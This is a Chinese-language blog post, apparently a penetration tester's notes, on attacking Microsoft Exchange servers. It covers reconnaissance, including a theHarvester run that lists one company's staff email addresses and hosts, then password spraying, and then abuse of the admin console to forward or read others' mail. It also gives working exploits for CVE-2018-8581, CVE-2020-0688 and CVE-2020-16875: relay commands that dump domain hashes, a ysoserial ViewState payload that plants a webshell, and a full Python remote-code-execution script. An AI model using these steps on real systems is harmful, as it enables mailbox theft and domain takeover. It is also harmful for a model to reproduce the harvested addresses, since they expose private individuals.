【旧文迁移】exchange学习

一、发现 Exchange

在渗透测试中,exchange是个特殊的存在,不管是对exchange的信件信息收集查看,还是对exchange进行入侵渗透,对内网都有极大的帮助,当进行信息收集与环境侦察时,发现与识别 Exchange 及其相关服务,可以有多种方法与途径。

1、邮件服务器查找

在公网上寻找 Exchange 邮件服务器可以通过访问目标域名的邮箱地址来寻找查看。或者通过shadon、fofa等进行针对性查找,或者对子域名进行收集,或者使用swaks进行查找。

对内网环境中的 Exchange 可以尝试遍历ip地址,收集https:\\ip\owa的返回信息判断。

2、端口与服务

Exchange 的正常运行需要多个服务与功能组件之间相互依赖与协调,因此,安装了 Exchange 的服务器上会开放某些端口对外提供服务,不同的服务与端口可能取决于服务器所安装的角色、服务器进行的配置、以及网络环境与访问控制的安全配置等。通过端口发现服务,来识别确认服务器上安装了 Exchange ,是最常规也是最简易的方法。

3、SPNs名称查询

SPN(Service Principal Name),是Kerberos认证中不可缺少的,每一个启用Kerberos认证的服务都拥有一个SPN,如文件共享服务的SPN为cifs/domain_name,LDAP服务的SPN为ldap/domain_name,在Kerberos认证过程,客户端通过指定SPN让KDC知晓客户端请求访问的是哪个具体服务,并使用该服务对应的服务账号的密钥来对最终票据进行加密。

在活动目录数据库中,每一个计算机对象有一个属性名为servicePrincipalName,该属性的值是一个列表,存储着该计算机启用Kerberos认证的每一个服务名称。安装在Windows域环境中的 Exchange 服务同样会接入Kerberos认证,因此,Exchange 相关的多个服务,应该都可以从该属性中找到对应的SPN。

执行SPN名称查找的工具和方法有很多,直接以域内的一台工作机,通过setspn查询获得。

SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称,这些SPN名称信息被记录在活动目录数据库中,只要服务安装完成,这些SPN名称就已经存在,除非卸载或删除,SPN名称查询与当前服务是否启动没有关系(如 Exchange 服务器的IMAP/POP等部分服务默认是不启动的,但其SPN名称同样存在)。

4.exchange邮箱收集

root@localhost:~/theHarvester# python3 theHarvester.py  -d qianxin.com -l 500 -b google

*******************************************************************
*  _   _                                            _             *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* theHarvester 3.2.2                                              *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*                                                                 *
******************************************************************* 


[*] Target: qianxin.com 
 
	Searching 0 results.
	Searching 100 results.
	Searching 200 results.
	Searching 300 results.
	Searching 400 results.
	Searching 500 results.
[*] Searching Google. 

[*] No IPs found.

[*] Emails found: 10
----------------------
dingyinghui@qianxin.com
first-rep@qianxin.com
globalpartner@qianxin.com
ir@qianxin.com
kefu@qianxin.com
liqinglu@qianxin.com
lvkaokao@qianxin.com
qdhz@qianxin.com
ti_support@qianxin.com
zhangmengyang@qianxin.com

[*] Hosts found: 19
---------------------
anyu.qianxin.com:121.32.243.63
bcs.qianxin.com:121.32.243.63
campus.qianxin.com:121.32.243.63
checkdnslog.jiance.qianxin.com:211.95.50.203
codesafe.qianxin.com:121.32.243.63
en.qianxin.com:121.32.243.63
h5.qianxin.com:121.32.243.63
kajsduaidh123bd.appstore.qianxin.com
sandbox.ti.qianxin.com:36.99.137.24
shs3.b.qianxin.com:153.101.141.81, 153.101.141.131, 153.101.141.80, 153.101.141.77, 153.101.141.133, 153.101.141.79, 153.101.141.76, 153.101.141.132
taishi.jiance.qianxin.com:211.95.50.73
ti.qianxin.com:211.95.50.35
wangzhan.qianxin.com:121.32.243.63
webscan.qianxin.com:121.32.243.63
www.qianxin.com:121.32.243.63
x22h5.qianxin.com
x22shs3.b.qianxin.com
x22ti.qianxin.com



-b SOURCE, --source SOURCE
                        baidu, bing, bingapi, bufferoverun, certspotter, crtsh, dnsdumpster,
                        duckduckgo, exalead, github-code, google, hackertarget, hunter, intelx,
                        linkedin, linkedin_links, netcraft, otx, pentesttools, projectdiscovery,
                        qwant, rapiddns, securityTrails, spyse, sublist3r, threatcrowd, threatminer,
                        trello, twitter, urlscan, virustotal, yahoo

二、暴力破解

针对 Exchange 服务的利用,包括各类漏洞在内,都有一个很重要的前提,就是必须要有一个有效的可登录用户账户。因此,在发现 Exchange 服务之后,最重要的一步就是获得用户账户。

1、owa登录爆破

通常情况下,Exchange 系统是不会对邮箱登录次数做限制的,因此,利用大字典来进行爆破,是最为简易和最为常见的一种突破方法。

Exchange 邮箱的登录账号分为三种形式,分别为“domain\username”、“username”和“user@domain(邮件地址)”,这三种方式可以并存使用,也可以限制具体一种或两种使用。
具体使用哪一种用户名登录可以根据登录口的提示确定,但这并不百分百准确,管理员通过修改配置或者登录页面,可以自行设置登录方式,和提示说明。因此如果直接使用 owa 页面爆破,用户名需要尝试全部三种方式。

爆破方式使用 burp 即可,通过返回包长短即可判断成功与否。

2、特殊接口爆破

对于某些限制登录次数的网站,还可以尝试对其NTLM验证接口进行爆破,最常见的就是ews接口,但除ews接口以外,还有以下接口地址。

/Autodiscover/Autodiscover.xml
/Microsoft-Server-ActiveSync/default.eas
/Microsoft-Server-ActiveSync
/Autodiscover
/Rpc/
/EWS/Exchange.asmx
/EWS/Services.wsdl
/EWS/
/OAB/
/Mapi
endpoint 说明
/autodiscover 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp “Exchange Control Panel” Exchange 管理中心,管理员用于管理组织中的Exchange 的Web控制台
/ews “Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互

|/mapi| Outlook连接 Exchange 的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
|/Microsoft-Server-ActiveSync| 用于移动应用程序访问电子邮件|
|/OAB “Offline Address Book”| 用于为Outlook客户端提供地址簿的副本,减轻 Exchange 的负担|
|/owa “Outlook Web APP”| Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等|
|/powershell| 用于服务器管理的 Exchange 管理控制台|
|/RPC| 早期的 Outlook 还使用称为 Outlook Anywhere 的 RPC 交互|

2.1 ntmlscan

使用 ntmlscan 工具(https://github.com/nyxgeek/ntlmscan)扫描

2.2 jason

jasom,该工具来源于apt34,用于多版本多接口的exchange爆破


2.3mailsniper

mailsniper提供分别针对OWA接口、EWS接口和ActiveSync接口的password spray

powershell -exec bypass
Import-Module .\MailSniper.ps1
Invoke-PasswordSprayEWS -ExchHostname exchange.finger.com -UserList .\users.txt -Password 123qwe!@# -ExchangeVersion Exchange2013_SP1

-ExchHostname:ping -a exchange服务器ip -> 得到主机名 -> 主机名拼接域名(如:owa2013.rootkit.org)
-ExchangeVersion:若不知道可先不指定

2.4EBURST

EBurst

python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com

3.ruler 爆破

ruler 是个知名度较高的 Exchange 利用工具,可以通过 MAPI/HTTP 或 RPC/HTTP 协议远程与 Exchang e服务器交互。其主要目的是滥用客户端 Outlook 特性并远程获取shell,进行信息收集和攻击

-k 忽略证书

三.导出通讯录

  1. mailsniper

2.ruler

ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml  --email xxx.com -u xxx -p 密码 --verbose --debug abk dump -o list.txt

3.burp

通过burp进行抓包,进行正则匹配筛选

四 、Exchange Admin Center(ecp)管理

exchange server默认将其管理页面入口Exchange Admin Center(ecp)和其正常邮箱登录口Outlook Web Access(owa)一同发布。默认登陆地址为https://domain/ecp/

对于普通权限的用户,该登录口无利用价值,但管理员用户在该口登陆,可完成权限内任意操作,包括增、删、改邮箱,添加规则,设置代收,修改用户权限等全部操作。

1、邮箱托管

Exchange 邮件服务存在一种机制,可以设置权限将邮箱委托给指定用户管理使用。

这种委托可以是全局的委托,可以通过后台修改;也可以是对单独文件夹进行委托,用户自行对文件夹设置。

因此,当 ecp 可登录且拥有管理员权限时,就可以通过添加邮箱委托的方式,实现邮箱控制。在默认情况下,某些管理员在配置时,组用户会默认拥有对组内用户的委托管理权限。

添加委托:

ecp ——> 收件人 ——> 目标用户 ——> 邮件委托 ——> 完全访问添加指定用户


添加完成后,使用指定用户登录正常 owa 页面,选择打开其他邮箱即可

另一种邮箱文件夹的权限委托,相对隐蔽,在用户的指定文件夹上设置权限,即可使其他用户具有访问操作权限。主要利用可以参考 CVE-2018-8581,可以通过 ews 接口实现以上操作。
首先在目标用户文件夹添加指定用户权限。

在指定用户文件夹下添加共享文件用户。

2、邮箱管理员

在 ecp 中也可以实现添加邮箱管理员权限。
注:域管 administrator 默认为邮箱管理员,但邮箱管理员和域管其实并无关系。添加邮箱管理员不会修改用户域内权限。

3、邮件检索

在后台管理中,还有一项多邮箱检索邮件的功能,但较为耗时,对于体量较大的邮件系统不建议使用,推荐进行用户精准查询

合规性管理 ——> 就地电子数据展示和保留 ——> 添加规则


4、全局规则

在 ecp 后台,可以添加全局规则,此处的规则只是简单利用,例如新建规则代收邮件,将全部带有关键词 password 的邮件抄送指定邮箱一份。

5.精准检索

在确定人员的信息后,想精准检索人与人之间的精准信息,可以使用该项功能

五、exchange常见漏洞

cve-2018-8581

一、影响范围

  • Exchange Server 2010
  • Exchange Server 2013
  • Exchange Server 2016

二、利用条件

1、公网越权

  1. 一个可登录的邮箱用户账号密码
  2. 可以获取目标用户 SID
  3. exchange 服务器开启 ews 接口
  4. 一台 exchange 服务器可访问的服务器

2、内网提权

  1. 一个可登录的邮箱用户账号密码。
  2. 一台内网可控服务器,可被 exchange 服务器访问,且可访问 DC 服务器。

三、漏洞原理

首先,Exchange 允许任意用户(只要是通过了认证的)通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地; 其次,通知被订阅推送后,当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,由于 EWS 以 SYSTEM 权限运行,当使DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证; 在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。 

该漏洞本质上是一个 SSRF 漏洞,漏洞成因主要是由于 exchange 底层逻辑中访问用户‘订阅’时,会使用系统用户的 net-ntlm hash 去访问目标地址。因此,可以构造恶意服务器抓取 exchange 服务器系统账户的 net-ntlm hash 并重放,中继到管理员权限。

在公网利用,是将系统的 net-ntlm hash 重放回 exchange 服务器,利用 ews 接口以管理员身份执行操作。可以给指定用户的指定文件夹添加权限,使别人可以接管该文件夹。

在内网中的利用,则是直接重放回 DC 服务器,中继到域管权限并执行进一步操作,相当于实现域内提权。更细节一点说,就是 exchange 的机器账号在域内对 ldap 有修改 acl 的权限。因此可以通过修改 acl 实现进一步利用,提升指定用户为域管或 dump 域 hash。

四、漏洞利用

1、公网越权

1.获取 SID
获取 SID 方法有很多,可以使用脚本,也可以手工。
使用脚本修改指定参数执行即可,如图所示。

使用手工的方法,在文件夹修改权限处添加目标邮箱,重新打开文件夹属性,然后抓取返回包即可。

2、内网提权

域内提权操作共用是余个步骤,但实际操作可以使用脚本一键解决。(原方法https://blog.csdn.net/weixin_42255372/article/details/103618358)

这里推荐使用打包好的工具 https://github.com/Ridter/Exchange2domain

直接使用获取域用户 hash 。

python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip

//python Exchange2domain.py -ah 192.168.184.131 -ap 888 -u test01  -d gfinger.com -th 192.168.184.200 192.168.194.190

如果只想转储jertgt:
python Exchange2domain.py -ah 192.168.184.131 -ap 88 -u test01  -d gfinger.com -th 192.168.184.200 --just-dc-user krbtgt 192.168.184.190

注意事项

1.impacket 版本
虽然 impacket 工具十分强大,但是兼容问题很大。
不同版本之间存在一定差异,且不一一定可以上下兼容。因此,在调用此包时最好安装指点版本调用,否则极易报错。

2.Exchange2domain 调用
如果出现报错 ImportError: No module named rpcrelayclient 大概率是 impacket 版本不对导致的,重装版本 0.9.19 可以解决。

CVE-2020-0688

一、影响范围

  • Exchange Server 2010 Service Pack 3
  • Exchange Server 2013
  • Exchange Server 2016
  • Exchange Server 2019

二、利用条件

  1. ecp 接口可访问
  2. 任意可登录账户密码

三、漏洞原理

这个漏洞是由于 Exchange 服务器在安装时没有正确地创建唯一的加密密钥所造成的。

具体来说,与正常软件安装每次都会产生随机密钥不同,所有 Exchange Server 在安装后的 web.config 文件中都拥有相同的 validationKeydecryptionKey 。这些密钥用于保证 ViewState 的安全性。而 ViewState 是 ASP.NET Web 应用以序列化格式存储在客户机上的服务端数据。客户端通过 __VIEWSTATE 请求参数将这些数据返回给服务器。攻击者可以在 ExchangeControl Panel web(ecp) 应用上执行任意 .net 代码。

当攻击者通过各种手段获得一个可以访问 Exchange Control Panel(ECP)组件的用户账号密码时。攻击者可以在被攻击的 Exchange 上执行任意代码,直接获取服务器权限。

四、漏洞利用

1.获取需要变量

想要利用该漏洞,我们需要四个参数,分别为:

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
validationalg = SHA1(默认,漏洞产生原因)
generator = B97B4E27(基本默认)
viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)

在这四个变量中,前两个为默认固定,viewstateuserkeygenerator 的值需要从经过身份验证的 session 中收集。viewstateuserkey 可以从 ASP.NET_SessionID cookie 中获取,而 generator 可以在一个隐藏字段 __VIEWSTATEGENERATOR 中找到。所有这些都可以通过浏览器中的工具轻松获取。

2.获取 viewstateuserkey 和 generator 值

在正常登录后访问 /ecp/default.aspx 页面。使用 F12 开发者工具的 Network 选项,刷新页面重新发送请求,找到登录时 /ecp/default.aspx 的原始响应。

Headers 选项卡找到 ASP.NET_SessionId 的 cookie:

在 Response 选项卡搜索 __VIEWSTATEGENERATOR 获取字段值:

如果未找到此字段也无所谓,直接使用默认值 B97B4E27 即可。

3.使用工具生成payload

使用 ysoserial.net 工具生成反序列化 payload。工具下载地址:https://github.com/pwntester/ysoserial.net/

生成payload命令:

ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy

4.构造攻击地址

在生成完 payload 代码后,需要对该代码进行 URL Encode 编码构造一个 URL :

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

将最开始获得的 __VIEWSTATEGENERATOR 值替换 <generator>,将 URL Encode 编码后的 payload 替换 <ViewState>

5.访问地址并成功执行

访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。

登录服务器查看进程,发现计算器成功启动。

五、其他问题

1、关于版本

网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。目前测试owa2013和owa2016均成功

2、__VIEWSTATEGENERATOR

在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁 KB2919355,更新该补丁后就会出现 __VIEWSTATEGENERATOR 字段。

3、无法创建文件

大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe 的 -c 参数上,虽然在演示过程中可以直接 -c “echo OOOPS!!! > c:/Vuln_Server.txt” 创建文件,让人误以为 -c 是在 cmd 窗口下运行,但是实际上 -c 实际为“运行”的内容,因此直接 echo 是不行的,需要 -c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:

4、路径空格

在需要 getshell 时,由于路径中存在空格,需要使用双引号,但这会与外面的双引号冲突。解决方法:

短字节

8.3 格式通常指较旧的 Windows 操作系统或 DOS 的文件命名限制。
8 指文件名最大长度为 8。
3 指扩展名最大长度为 3。
若不符合以上限制则会以”~“作延长名称如 Program Files 会变成 Progra~1 ,若同一文件夹有相似的名称,末端的数值则会自动递增。

使用 dir /x 可以查询 8.3 短字节。

使用 8.3 短字节的方式同样可以绕开部分空格限制。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c " cmd /c echo test >C:\PROGRA~1\Microsoft\EXCHAN~1\V15\FrontEnd\HttpProxy\owa\auth\5.aspx" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"  --generator="B97B4E27" --viewstateuserkey="58eaa1b9-f4ac-4248-9c69-3be8dc01c4bb" --isdebug --islegacy

附:owa的文件路径

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

附:头像哥后面武器化了该漏洞,可以直接使用利用工具 http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

CVE-2020-16875

一、影响范围

  • Exchange Server 2016 版本小于 cu17
  • Exchange Server 2019 版本小于 cu6

二、利用条件

  1. 必须需要管理员用户,或用户必须(至少)具有 Data Loss Prevention 权限,具有该权限账号通常为 Microsoft Exchange Securitiy Groups 组成员。而Microsoft Exchange Securitiy Groups 组成员通常为 Exchange 管理员。

  2. 该组其他用户也能利用该模块或 powershell 远程接口执行命令。

  3. /ecp/ 接口,/ecp/DLPPolicy/ManagePolicyFromISV.aspx 页面可访问。

  4. Exchange 服务器 powershell 版本需要在 5.0 及以上。补丁包KB3191564

  5. /powershell/ 接口,非必须,msf 中的工具需要。

    官方查询版本地址:https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    

三、漏洞原理

该漏洞主要利用 DLP 策略设置处漏洞,将构造好的 XML 文件上传至服务器并执行。

防止数据丢失(Data loss Prevention)是Exchange Server 2013带来的一个新功能,感觉其实应该叫做防止数据泄露,许多第三方工具和设备也有类似的功能,而在Exchange 2013中直接集成了,并且之前的传输规则也整合到了一起。该功能通过对内容的深入分析,能够帮助企业识别、监控和保护敏感信息传递。
DLP通过关键字匹配、词典匹配、正则表达式的评估,和其他内容的检查,深入分析内容以发现组织内违法DLP规则的内容。一旦发现了违反了规则的内容,DLP会对用户进行提醒或者是组织,告知提醒用户邮件包含敏感内容或者违规传递。

参考链接:https://www.anquanke.com/post/id/219091

四、漏洞利用

1、手工方式

1、登录访问 /ecp/DLPPolicy/ManagePolicyFromISV.aspx 页面

访问此页面需要用户至少具有 Data Loss Prevention 权限,才可访问。

2、构造恶意 XML 文件上传

替换以下 POC 中命令执行的内容,然后保存为 XML 文件并上传。需要注意的是,如果目标机器 powershell 版本为 5.0 以下,以下 POC 无法使用。

POC:

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>Microsoft</publisherName>
    <name>
      <localizedString lang="en">PCI-DSS-12345</localizedString>
    </name>
    <description>
      <localizedString lang="en">Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <!-- The contents below are applied/executed as rules directly in PS - -->
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c cmd.exe";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start(); ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>

powershell 版本不够:

powershell 升级到 5.0 后可以正常执行。

2、python3 脚本工具

#!/usr/bin/env python3
"""
Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability
Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16875

# Notes:

The (ab)user needs the "Data Loss Prevention" role assigned and if performing the attack over the ecp interface (this poc) then the user will need an active mailbox.

[PS] C:\Windows\system32>New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "harrym"

Name      AssignedRoles          RoleAssignments                  ManagedBy
----      -------------          ---------------                  ---------
dlp users {Data Loss Prevention} {Data Loss Prevention-dlp users} {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}

[PS] C:\Windows\system32>Get-RoleGroup "dlp users" | Format-List

RunspaceId                  : 098e1140-30e3-4144-8028-2174fdb43b85
ManagedBy                   : {exchangedemo.com/Microsoft Exchange Security Groups/Organization Management, exchangedemo.com/Users/test}
RoleAssignments             : {Data Loss Prevention-dlp users}
Roles                       : {Data Loss Prevention}
DisplayName                 :
ExternalDirectoryObjectId   :
Members                     : {exchangedemo.com/Users/Harry Mull}
SamAccountName              : dlp users
Description                 :
RoleGroupType               : Standard
LinkedGroup                 :
Capabilities                : {}
LinkedPartnerGroupId        :
LinkedPartnerOrganizationId :
Identity                    : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
IsValid                     : True
ExchangeVersion             : 0.10 (14.0.100.0)
Name                        : dlp users
DistinguishedName           : CN=dlp users,OU=Microsoft Exchange Security Groups,DC=exchangedemo,DC=com
Guid                        : fa5c8458-8255-4ffd-b128-2a66bf9dbfd6
ObjectCategory              : exchangedemo.com/Configuration/Schema/Group
ObjectClass                 : {top, group}
WhenChanged                 : 6/12/2020 11:29:31 PM
WhenCreated                 : 6/12/2020 11:29:31 PM
WhenChangedUTC              : 6/12/2020 3:29:31 PM
WhenCreatedUTC              : 6/12/2020 3:29:31 PM
OrganizationId              :
Id                          : exchangedemo.com/Microsoft Exchange Security Groups/dlp users
OriginatingServer           : DEAD01.exchangedemo.com
ObjectState                 : Changed

# Example:

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py <target> <user:pass> <cmd>
(+) eg: ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint

researcher@incite:~$ ./poc.py 192.168.75.142 harrym@exchangedemo.com:user123### mspaint
(+) logged in as harrym@exchangedemo.com
(+) found the __viewstate: /wEPDwUILTg5MDAzMDFkZFAeyPS7/eBJ4lPNRNPBjm8QiWLWnirQ1vsGlSyjVxa5
(+) executed mspaint as SYSTEM!
"""

import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(str_len=8):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(str_len))

def get_xml(c):
    return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>si</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c

def trigger_rce(t, s, vs, cmd):
    f = {
        '__VIEWSTATE': (None, vs),
        'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
        'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
        'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
    }
    r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
    assert r.status_code == 200, "(-) failed to trigger rce!"

def leak_viewstate(t, s):
    r = s.get("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, verify=False)
    match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
    assert match != None, "(-) couldn't leak the __viewstate!"
    return match.group(1)

def log_in(t, usr, pwd):
    s = requests.Session()
    d = {
        "destination" : "https://%s/owa" % t,
        "flags" : "",
        "username" : usr,
        "password" : pwd
    }
    s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
    assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
    return s

def main(t, usr, pwd, cmd):
    s = log_in(t, usr, pwd)
    print("(+) logged in as %s" % usr)
    vs = leak_viewstate(t, s)
    print("(+) found the __viewstate: %s" % vs)
    trigger_rce(t, s, vs, cmd)
    print("(+) executed %s as SYSTEM!" % cmd)

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
        sys.exit(-1)
    trgt = sys.argv[1]
    assert ":" in sys.argv[2], "(-) you need a user and password!"
    usr = sys.argv[2].split(":")[0]
    pwd = sys.argv[2].split(":")[1]
    cmd = sys.argv[3]
    main(trgt, usr, pwd, cmd)

3、MSF6 自带模块

MSF6 自带模块 exchange_ecp_dlp_policy 可以自动利用该漏洞反弹 shell。但是需要攻击端可被访问。同样需要 Exchange 服务器 powershell 版本为 5.0 以上。

use exploit/windows/http/exchange_ecp_dlp_policy
set rhost
set username
set password
set lhost

五、注意事项

该漏洞条件太为苛刻,不仅要求管理员账号(默认配置),还需要服务器 powershell 版本,实用价值不大。

posted @ 2021-11-24 00:28  marksec  阅读(1767)  评论(0)    收藏  举报